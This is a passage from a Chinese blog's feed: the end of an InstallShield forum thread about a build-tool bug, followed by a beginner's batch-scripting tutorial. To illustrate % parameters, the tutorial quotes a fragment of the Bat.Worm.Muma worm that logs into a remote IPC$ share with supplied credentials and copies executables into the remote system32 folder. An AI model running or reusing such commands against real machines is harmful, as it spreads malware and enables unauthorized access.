                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 8.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>Posts: 2</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
                        </td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
        <tr style="mso-yfti-irow: 8; mso-yfti-lastrow: yes">
            <td style="BORDER-BOTTOM: #0b198c; BORDER-LEFT: #0b198c; PADDING-BOTTOM: 4.5pt; PADDING-LEFT: 4.5pt; PADDING-RIGHT: 4.5pt; BACKGROUND: #f5f5ff; BORDER-TOP: #0b198c; BORDER-RIGHT: #0b198c; PADDING-TOP: 4.5pt">
            <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; COLOR: black; FONT-SIZE: 10pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>after talking to support they found that the problem for me is that I was using my software that called the automation APIs under a different user account than the one I used to install InstallShield with. Once I figured it out everything is running normally.</span><span style="FONT-FAMILY: 宋体; FONT-SIZE: 12pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt" lang=EN-US><o:p></o:p></span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<div align=left><br><br>也有说修改时间的：<a href="http://community.flexerasoftware.com/showthread.php?t=170847"><u><font color=#0066cc>http://community.flexerasoftware.com/showthread.php?t=170847</font></u></a><br><br></div>
<div align=center>
<table style="BORDER-BOTTOM: #0b198c 1pt solid; BORDER-LEFT: #0b198c 1pt solid; WIDTH: 100%; BACKGROUND: #d1d1e1; BORDER-TOP: #0b198c 1pt solid; BORDER-RIGHT: #0b198c 1pt solid; mso-cellspacing: .7pt; mso-yfti-tbllook: 1184; mso-padding-alt: 4.5pt 4.5pt 4.5pt 4.5pt; mso-border-alt: solid #0B198C .75pt" class=MsoNormalTable border=1 cellSpacing=1 cellPadding=0 width="100%">
    <tbody>
        <tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes">
            <td style="BORDER-BOTTOM: #0b198c; BORDER-LEFT: #0b198c; PADDING-BOTTOM: 3pt; PADDING-LEFT: 3pt; PADDING-RIGHT: 3pt; BACKGROUND: #5c7099; BORDER-TOP: #0b198c; BORDER-RIGHT: #0b198c; PADDING-TOP: 3pt">
            <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Tahoma','sans-serif'; COLOR: white; FONT-SIZE: 8.5pt; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>&nbsp; #<a name=3></a><a href="http://community.flexerasoftware.com/showpost.php?p=389631&amp;postcount=3" target=new><span style="mso-bookmark: 3"><strong><span style="COLOR: white; TEXT-DECORATION: none; mso-bidi-font-size: 11.0pt; text-underline: none">3</span></strong></span><span style="mso-bookmark: 3"></span></a></span><span style="FONT-FAMILY: 'Tahoma','sans-serif'; COLOR: white; FONT-SIZE: 8.5pt; mso-bidi-font-size: 11.0pt; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>&nbsp;</span><span style="FONT-FAMILY: 'Tahoma','sans-serif'; COLOR: white; FONT-SIZE: 8.5pt; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>&nbsp;<o:p></o:p></span></p>
            <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><a name=post389631><span style="FONT-FAMILY: 'Tahoma','sans-serif'; COLOR: white; FONT-SIZE: 8.5pt; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体; mso-no-proof: yes" lang=EN-US><v:shapetype id=_x0000_t75 coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"><v:stroke joinstyle="miter"></v:stroke><v:formulas><v:f eqn="if lineDrawn pixelLineWidth 0"></v:f><v:f eqn="sum @0 1 0"></v:f><v:f eqn="sum 0 0 @1"></v:f><v:f eqn="prod @2 1 2"></v:f><v:f eqn="prod @3 21600 pixelWidth"></v:f><v:f eqn="prod @3 21600 pixelHeight"></v:f><v:f eqn="sum @0 0 1"></v:f><v:f eqn="prod @6 1 2"></v:f><v:f eqn="prod @7 21600 pixelWidth"></v:f><v:f eqn="sum @8 21600 0"></v:f><v:f eqn="prod @7 21600 pixelHeight"></v:f><v:f eqn="sum @10 21600 0"></v:f></v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></v:path><o:lock v:ext="edit" aspectratio="t"></o:lock></v:shapetype><v:shape style="WIDTH: 7.5pt; HEIGHT: 8.25pt; VISIBILITY: visible; mso-wrap-style: square" id=图片_x0020_1 o:spid="_x0000_i1026" type="#_x0000_t75" alt="Old"><v:imagedata src="file:///C:\Users\hare\AppData\Local\Temp\msohtmlclip1\01\clip_image001.gif" o:title="Old"></v:imagedata></v:shape></span></a><span style="FONT-FAMILY: 'Tahoma','sans-serif'; COLOR: white; FONT-SIZE: 8.5pt; mso-bidi-font-size: 11.0pt; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>&nbsp;</span><span style="FONT-FAMILY: 'Tahoma','sans-serif'; COLOR: white; FONT-SIZE: 8.5pt; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>06-25-2007, 04:00 PM<o:p></o:p></span></p>
            </td>
        </tr>
        <tr style="mso-yfti-irow: 1">
            <td style="BORDER-BOTTOM: #0b198c; BORDER-LEFT: #0b198c; PADDING-BOTTOM: 0cm; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; BACKGROUND: #e1e4f2; BORDER-TOP: #0b198c; BORDER-RIGHT: #0b198c; PADDING-TOP: 0cm">
            <table style="WIDTH: 100%; mso-cellspacing: 4.5pt; mso-yfti-tbllook: 1184; mso-padding-alt: 0cm 0cm 0cm 0cm" class=MsoNormalTable border=0 cellSpacing=6 cellPadding=0 width="100%">
                <tbody>
                    <tr style="mso-yfti-irow: 0; mso-yfti-firstrow: yes; mso-yfti-lastrow: yes">
                        <td style="BORDER-BOTTOM: #ffffff; BORDER-LEFT: #ffffff; PADDING-BOTTOM: 0cm; BACKGROUND-COLOR: transparent; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; BORDER-TOP: #ffffff; BORDER-RIGHT: #ffffff; PADDING-TOP: 0cm" noWrap>
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 10pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US><a href="http://community.flexerasoftware.com/member.php?u=38386"><span style="COLOR: #0071bc; FONT-SIZE: 14pt; mso-bidi-font-size: 11.0pt"><u>thanh1968</u></span></a></span><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 10pt; mso-bidi-font-size: 11.0pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>&nbsp;</span><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 10pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体; mso-no-proof: yes" lang=EN-US><v:shape style="WIDTH: 11.25pt; HEIGHT: 11.25pt; VISIBILITY: visible; mso-wrap-style: square" id=图片_x0020_2 o:spid="_x0000_i1025" type="#_x0000_t75" alt="thanh1968 is offline"> <v:imagedata src="file:///C:\Users\hare\AppData\Local\Temp\msohtmlclip1\01\clip_image002.gif" o:title="thanh1968 is offline"></v:imagedata></v:shape></span><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 10pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US><o:p></o:p></span></p>
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 8.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>User (5+ Posts)<o:p></o:p></span></p>
                        </td>
                        <td style="BORDER-BOTTOM: #ffffff; BORDER-LEFT: #ffffff; PADDING-BOTTOM: 0cm; BACKGROUND-COLOR: transparent; PADDING-LEFT: 0cm; WIDTH: 100%; PADDING-RIGHT: 0cm; BORDER-TOP: #ffffff; BORDER-RIGHT: #ffffff; PADDING-TOP: 0cm" width="100%">
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 10pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>&nbsp;<o:p></o:p></span></p>
                        </td>
                        <td style="BORDER-BOTTOM: #ffffff; BORDER-LEFT: #ffffff; PADDING-BOTTOM: 0cm; BACKGROUND-COLOR: transparent; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; BORDER-TOP: #ffffff; BORDER-RIGHT: #ffffff; PADDING-TOP: 0cm" vAlign=top noWrap>
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 8.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>Join Date: Jan 2007<o:p></o:p></span></p>
                        <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; FONT-SIZE: 8.5pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>Posts: 22<o:p></o:p></span></p>
                        </td>
                    </tr>
                </tbody>
            </table>
            </td>
        </tr>
        <tr style="mso-yfti-irow: 2; mso-yfti-lastrow: yes">
            <td style="BORDER-BOTTOM: #0b198c; BORDER-LEFT: #0b198c; PADDING-BOTTOM: 4.5pt; PADDING-LEFT: 4.5pt; PADDING-RIGHT: 4.5pt; BACKGROUND: #f5f5ff; BORDER-TOP: #0b198c; BORDER-RIGHT: #0b198c; PADDING-TOP: 4.5pt">
            <p style="TEXT-ALIGN: left; MARGIN: 0cm 0cm 0pt; mso-pagination: widow-orphan" class=MsoNormal align=left><span style="FONT-FAMILY: 'Verdana','sans-serif'; COLOR: black; FONT-SIZE: 10pt; mso-bidi-font-family: 宋体; mso-font-kerning: 0pt; mso-fareast-font-family: 宋体" lang=EN-US>This is known issue, found a thread that get around this bug.<br>Basicly, set the time a month ahead, run the ISCmdBld and set the time back.<br>Thanks,<br>-Thanh<o:p></o:p></span></p>
            </td>
        </tr>
    </tbody>
</table>
</div>
<p style="MARGIN: 0cm 0cm 0pt" class=MsoNormal align=center><span lang=EN-US><o:p><font face=Calibri>&nbsp;</font></o:p></span></p>
<img src ="http://www.cppblog.com/flyinghare/aggbug/139927.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/flyinghare/" target="_blank">会飞的兔子</a> 2011-02-12 10:25 <a href="http://www.cppblog.com/flyinghare/archive/2011/02/12/139927.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>批处理教程（十分经典）</title><link>http://www.cppblog.com/flyinghare/archive/2011/01/07/138119.html</link><dc:creator>会飞的兔子</dc:creator><author>会飞的兔子</author><pubDate>Fri, 07 Jan 2011 08:59:00 GMT</pubDate><guid>http://www.cppblog.com/flyinghare/archive/2011/01/07/138119.html</guid><wfw:comment>http://www.cppblog.com/flyinghare/comments/138119.html</wfw:comment><comments>http://www.cppblog.com/flyinghare/archive/2011/01/07/138119.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/flyinghare/comments/commentRss/138119.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/flyinghare/services/trackbacks/138119.html</trackback:ping><description><![CDATA[
<p style="font-size: 14px; line-height: 22px; ">&nbsp;&nbsp; &nbsp; &nbsp;这是一篇技术教程，真心诚意会用很简单的文字表达清楚自己的意思，只要你识字就能看懂，就能学到知识。写这篇教程的目的，是让每一个看过这些文字的朋友记住一句话：如果爱可以让事情变的更简单，那么就让它简单吧！看这篇教程的方法，就是慢！慢慢的，如同品一个女人、一杯茗茶，你会发现很多以前就在眼前的东西突然变的很遥远，而有些很遥远的东西却又突然回到了眼前。.<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 先概述一下批处理是个什么东东。批处理的定义，至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟，当然就更不用说了；但我想总结出一个"比较合适的"，而且我也相信自己可以把它解释的很清楚，让更多的菜鸟都知道这是个什么东东，你用这个东东可以干什么事情。或许你会因为这篇文章而"无条件爱上批处理"，那么我的目的就达到了----我就是要让你爱上它，我就这么拽，你能怎么着？？真的，爱有时候就这么拽，就是这么没理由，就是这么不要脸！真的！<br>按照我的理解，批处理的本质，是一堆DOS命令按一定顺序排列而形成的集合。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OK,never claver and get to business（闲话少说言归正传）。批处理，也称为批处理脚本，英文译为BATCH，批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式，只要遵守以下这条就ok了：每一行可视为一个命令，每个命令里可以含多条子命令，从第一行开始执行，直到最后一行结束，它运行的平台是DOS。批处理有一个很鲜明的特点：使用方便、灵活，功能强大，自动化程度高。我不想让自己写的教程枯燥无味，因为牵缠到代码（批处理的内容算是代码吧？）的问题本来就是枯燥的，很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力，感受它那古灵精怪的性格，不知不觉中爱上批处理（晕，怎么又是爱？到底批处理和爱有什么关系？答案：没有！）。再说句"闲话"：要学好批处理，DOS基础一定要牢！当然脑子灵活也是很重要的一方面。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 例一、先给出一个最easy的批处理脚本让大家和它混个脸熟，将下面的几行命令保存为name.bat然后执行（以后文中只给出代码，保存和执行方式类似）：<br>ping sz.tencent.com &gt; a.txt<br>ping sz1.tencent.com &gt;&gt; a.txt<br>ping sz2.tencent.com &gt;&gt; a.txt<br>ping sz3.tencent.com &gt;&gt; a.txt<br>ping sz4.tencent.com &gt;&gt; a.txt<br>ping sz5.tencent.com &gt;&gt; a.txt<br>ping sz6.tencent.com &gt;&gt; a.txt<br>ping sz7.tencent.com &gt;&gt; a.txt<br>exit<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 是不是都能看的懂？是不是很easy？但它的作用却是很实用的，执行这个批处理后，可以在你的当前盘建立一个名为a.txt的文件，它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器，从而远离"从服务器中转"那一痛苦的过程。这里&gt;的意思，是把前面命令得到的东西放到后面所给的地方，&gt;&gt;的作用，和&gt;的相同，区别是把结果追加到前一行得出的结果的后面，具体的说是下一行，而前面一行命令得出的结果将保留，这样可以使这个a.txt文件越来越大（想到如何搞破坏了？？）。By the way，这个批处理还可以和其他命令结合，搞成完全自动化判断服务器速度的东东，执行后直接显示速度最快的服务器IP，是不是很爽？后面还将详细介绍。</p><p style="font-size: 14px; line-height: 22px; ">例二、再给出一个已经过时的例子（a.bat）：<br>@echo off<br>if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif<br>a.bat<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为什么说这是个过时的例子呢？很简单，因为现在已经几乎没有人用带广告的QQ了（KAO，我的QQ还显示好友三围呢！！），所以它几乎用不上了。但曾经它的作用是不可小窥的：删除QQ的广告，让对话框干干净净。这里用的地址是QQ的默认安装地址，默认批处理文件名为a.bat，你当然可以根据情况自行修改。在这个脚本中使用了if命令，使得它可以达到适时判断和删除广告图片的效果，你只需要不关闭命令执行后的DOS窗口，不按CTRL+C强行终止命令，它就一直监视是否有广告图片（QQ也再不断查看自己的广告是否被删除）。当然这个脚本占用你一点点内存，呵呵。</p><p style="font-size: 14px; line-height: 22px; ">例三，使用批处理脚本查是否中冰河。脚本内容如下：<br>@echo off<br>netstat -a -n &gt; a.txt<br>type a.txt | find "7626" &amp;&amp; echo "Congratulations! You have infected GLACIER!"<br>del a.txt<br>pause &amp; exit<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这里利用了netstat命令，检查所有的网络端口状态，只需要你清楚常见木马所使用的端口，就能很easy的判断出来是否被人种了冰河。然这不是确定的，因为冰河默认的端口7626，完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动，就变成可以检查其他木马的脚本了，再改动一下，加进去参数和端口及信息列表文件后，就变成自动检测所有木马的脚本了。呵呵，是不是很过瘾？脚本中还利用了组合命令&amp;&amp;和管道命令|，后面将详细介绍。</p><p style="font-size: 14px; line-height: 22px; ">例四，借批处理自动清除系统垃圾，脚本如下：<br>@echo off<br>if exist c:\windows\temp\*.* del c:\windows\temp\*.*<br>if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*<br>if exist c:\windows\History\*.* del c:\windows\History\*.*<br>if exist c:\windows\recent\*.* del c:\windows\recent\*.*<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将以上脚本内容保存到autoexec.bat里，每次开机时就把系统垃圾给自动删除了。这里需要注意两点：一、DOS不支持长文件名，所以就出现了Tempor~1这个东东；二、可根据自己的实际情况进行改动，使其符合自己的要求。怎么样，看到这里，你对批处理脚本是不是已经有点兴趣了？是不是发现自己已经慢慢爱上了这个东东？别高兴的太早，爱不是一件简单的事，它也许能带给你快乐和幸福，当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话，I 服了 YOU！继续努力吧，也许到最后你不一定得到真爱（真的有这可能，爱过的人都知道），但你可以体会到整个爱的过程，就是如此。 酸、苦和辣，有没有甜天知道。为什么会把批处理和爱情扯上关系？不是我无聊，也不是因为这样写有趣多少，原因有二：其一，批处理和爱情有很多相同的地方，有些地方我用"专业"的行话解释不清（我不怀疑自己的表达能力，而是事情本身就不好说清楚），说了=没说，但用地球人都知道的爱情一比喻（爱情是什么？我**怎么知道！！），没准你心里一下就亮堂了，事半功倍，何乐而不为？其二，我这段时间状态不是很好，感冒发烧头疼鼻塞，但主要还是感情上精神摧残，搞的人烦透了，借写教程之际感慨几句，大家就全当买狗皮膏药了，完全可以省略不看（也许还真有点效果----不至于让你看着看着就睡着了，把头磕了来找我报销医药费）。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 看过第一章的朋友，一定对批处理有了初步的印象，知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗？其实很简单：思路要灵活！没有做不到的，只有想不到的。这和爱情就有点不同了，因为爱情的世界是两个人的世界，一厢情愿不叫爱情（补充：那叫单恋。废话！）而批处理却是一个人的天堂，你可以为所欲为，没有达不到的境界！<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 批处理看起来杂乱无章，但它的逻辑性之强，绝对不比其他程序语言（如汇编）低，如果你写的脚本是一堆乱麻，虽然每一行命令都正确，但从头执行到尾后，不一定得到你想要的结果，也许是一屏幕的Bad command or fail name。这又和爱情有了共同点：按步骤来经营，缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友，相信没有不肯定这句话的。我的爱情批处理，输出的结果不是Bad command or fail name，屏幕是这么显示的：&#8216;你的爱情'不是内部或外部命令，也不是可运行的程序或批处理文件。然后就是光标不停闪动，等待这下一次错误的输入。</p><p style="font-size: 14px; line-height: 22px; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 从这一章开始，将由浅入深的介绍批处理中常用的命令，很多常见DOS命令在批处理脚本中有这广泛的应用，它们是批处理脚本的BODY部分，但批处理比DOS更灵活多样，更具备自动化。要学好批处理，DOS一定要有比较扎实的基础。这里只讲述一些比较少用（相对来说）的DOS命令，常用命令如COPY、DIR等就不做介绍了（这些看似简单的命令实际复杂的很，我怕自己都说不清楚！）。<br>例五，先看一个实例。这是一个很有意思的脚本，一个小巧实用的好东东，把批处理"自动化"的特点体现的淋漓尽致。先介绍一下这个脚本的来历：大家都知道汇编程序（MASM）的上机过程，先要对源代码进行汇编、连接，然后再执行，而这中间有很多环节需要输入很多东西，麻烦的很（只有经历过的朋友才懂得）。如何使这个过程变的简单呢？在我们搞汇编课程设计时，我"被逼"写了这个脚本，用起来很爽，呵呵。看看脚本<br>内容：<br>@echo off<br>::close echo<br>cls<br>::clean screen<br>echo This programme is to make the MASM programme automate<br>::display info<br>echo Edit by CODERED<br>::display info<br>echo Mailto me : qqkiller***@sina.com<br>::display info<br>if "%1"=="" goto usage<br>::if input without paramater goto usage<br>if "%1"=="/?" goto usage<br>::if paramater is "/?" goto usage<br>if "%1"=="help" goto usage<br>::if paramater is "help" goto usage<br>pause<br>::pause to see usage<br>masm %1.asm<br>::assemble the .asm code<br>if errorlevel 1 pause &amp; edit %1.asm<br>::if error pause to see error msg and edit the code<br>link %1.obj &amp; %1<br>::else link the .obj file and execute the .exe file<br>:usage<br>::set usage<br>echo Usage: This BAT file name [asm file name]<br>echo Default BAT file name is START.BAT<br>::display usage<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 先不要被这一堆的东西给吓怕了，静下心来仔细的看（回想一下第一章中第一段是怎么写的！！）。已经给出了每一行命令的解释，两个冒号后面的内容为前一行内容解释的E文（害怕E文的朋友也不用担心，都很easy，一看就懂了，实在不懂了不会查词典啊，这么懒？），在脚本执行时不显示，也不起任何作用。倒数第5行行首有一个冒号，可不是笔误哦！具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序，必须和edit程序以及你要编辑的源代码（当然还有这个脚本，废话！）一起在当前目录中。使用这个批处理脚本，可以最大可能的减少手工输入，整个过程中只需要按几下回车键，即可实现从汇编源代码到可执行exe文件的自动化转换，并具备智能判断功能：如果汇编时源代码出现错误（汇编不成功），则自动暂停显示错误信息，并在按任意键后自动进入编辑源代码界面；如果源代码汇编成功，则进行连接，并在连接后自动执行生成的exe文件。另外，由于批处理命令的简单性和灵活性，这个脚本还具备良好的可改进性，简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友，一定别忘了实习一下！<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在这个脚本中出现了如下几个命令：@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。</p><p style="font-size: 14px; line-height: 22px; ">1、@<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个符号大家都不陌生，email的必备符号，它怎么会跑到批处理中呢？呵呵，不是它的错，批处理本来就离不开它，要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身（多么绕口的一句话！）。呵呵，通俗一点说，行首有了它的话，这一行的命令就不显示了。在例五中，首行的@echo off中，@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧？还是不太懂？没关系，看完echo命令简介，自然就懂了。</p><p style="font-size: 14px; line-height: 22px; ">2、echo<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 中文为"反馈"、"回显"的意思。它其实是一个开关命令，就是说它只有两种状态：打开和关闭。于是就有了echo on和echo off两个命令了。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 直接执行echo命令将显示当前echo命令状态（off或on）执行echo off将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行echo on命令。在例五中，首行的@命令和echo off命令联合起来，达到了两个目的：不显示echo off命令本身，不显示以后各行中的命令本身。的确是有点乱，但你要是练习一下的话，3分钟包会，不会的退钱！</p><p style="font-size: 14px; line-height: 22px; ">echo命令的另一种用法<br>一：可以用它来显示信息！如例五中倒数第二行，Default BAT file name is START.BAT将在脚本执行后的窗口中显<br>示，而echo命令本身不显示（为什么？？）。</p><p style="font-size: 14px; line-height: 22px; ">二：可以直接编辑文本文件。例六：<br>echo nbtstat -A 192.168.0.1 &gt; a.bat<br>echo nbtstat -A 192.168.0.2 &gt;&gt; a.bat<br>echo nbtstat -A 192.168.0.3 &gt;&gt; a.bat<br>以上脚本内容的编辑方法是，直接是命令行输入，每行一回车。最后就会在当前目录下生成一个a.bat的文件，直接执行就会得到结果。</p><p style="font-size: 14px; line-height: 22px; ">3、::<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个命令的作用很简单，它是注释命令，在批处理脚本中和rem命令等效。它后面的内容在执行时不显示，也不起任何作用，因为它只是注释，只是增加了脚本的可读性，和C语言中的/*............*/类似。地球人都能看懂，就不多说了。</p><p style="font-size: 14px; line-height: 22px; ">4、pause<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 中文为"暂停"的意思（看看你的workman上），我一直认为它是批处理中最简单的一个命令，单纯、实用。它的作用，是让当前程序进程暂停一下，并显示一行信息：请按任意键继续. . .。在例五中这个命令运用了两次，第一次的作用是让使用者看清楚程序信息，第二个是显示错误的汇编代码信息（其实不是它想显示，而是masm程序在显示错误信息时被暂它停了，以便让你看清楚你的源代码错在哪里）。</p><p style="font-size: 14px; line-height: 22px; ">5、:和goto<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为什么要把这两个命令联合起来介绍？因为它们是分不开的，无论少了哪个或多了哪个都会出错。goto是个跳转命令，:是一个标签。当程序运行到goto时，将自动跳转到:定义的部分去执行了（是不是分不开？）。例五中倒数第5行行首出现一个:，则程序在运行到goto时就自动跳转到:标签定义的部分执行，结果是显示脚本usage（usage就是标签名称）。不难看出，goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方，它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法，参照例五。<br>goto命令的另一种用法一：提前结束程序。在程序中间使用goto命令跳转到某一标签，而这一标签的内容却定义为退出。如：<br>......<br>goto end<br>......<br>:end<br>这里:end在脚本最后一行！其实这个例子很弱智，后面讲了if命令和组合命令你就知道了。</p><p style="font-size: 14px; line-height: 22px; ">6、%<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个百分号严格来说是算不上命令的，它只是批处理中的参数而已（多个%一起使用的情况除外，以后还将详细介绍），但千万别以为它只是参数就小看了它（看看例五中有多少地方用到它？），少了它批处理的功能就减少了51%了。看看例七：<br>net use \\%1\ipc$ %3 /u:"%2"<br>copy 11.BAT \\%1\admin$\system32 /y<br>copy 13.BAT \\%1\admin$\system32 /y<br>copy ipc2.BAT \\%1\admin$\system32 /y<br>copy NWZI.EXE \\%1\admin$\system32 /y<br>attrib \\%1\admin$\system32.bat -r -h -s<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 以上代码是Bat.Worm.Muma病毒中的一部分，%1代表的IP，2%代表的username，3%代表password。执行形式为：脚本文件名 参数一 参数二 ......。假设这个脚本被保存为a.bat，则执行形式如下：a IP username password。这里IP、username、password是三个参数，缺一不可（因为程序不能正确运行，并不是因为少了参数语法就不对）这样在脚本执行过程中，脚本就自动用用你的三个参数依次（记住，是依次！也是一一对应的关系。）代换1%、2%和3%，这样就达到了灵活运用的目的（试想，如果在脚本中直接把IP、username和password都定义死，那么脚本的作用也就被固定了，但如果使用%的话，不同的参数可以达到不同的目的，是不是更灵活？）。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 关于这个参数的使用，在后续章节中还将介绍。一定要非常熟练才行，这需要很多练习过程，需要下点狠工夫！<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这一章就写到这里了。可能有朋友问了：怎么没介绍if命令？呵呵，不是我忘了，而是它不容易说清楚，下一章再讲了！这一章讲的这点东西，如果你是初学者，恐怕也够消化的了。记住一句话：DOS是批处理的BODY，任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里，你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢？很简单，就是一个DOS命令的集合而已，相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。</p><p style="font-size: 14px; line-height: 22px; ">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 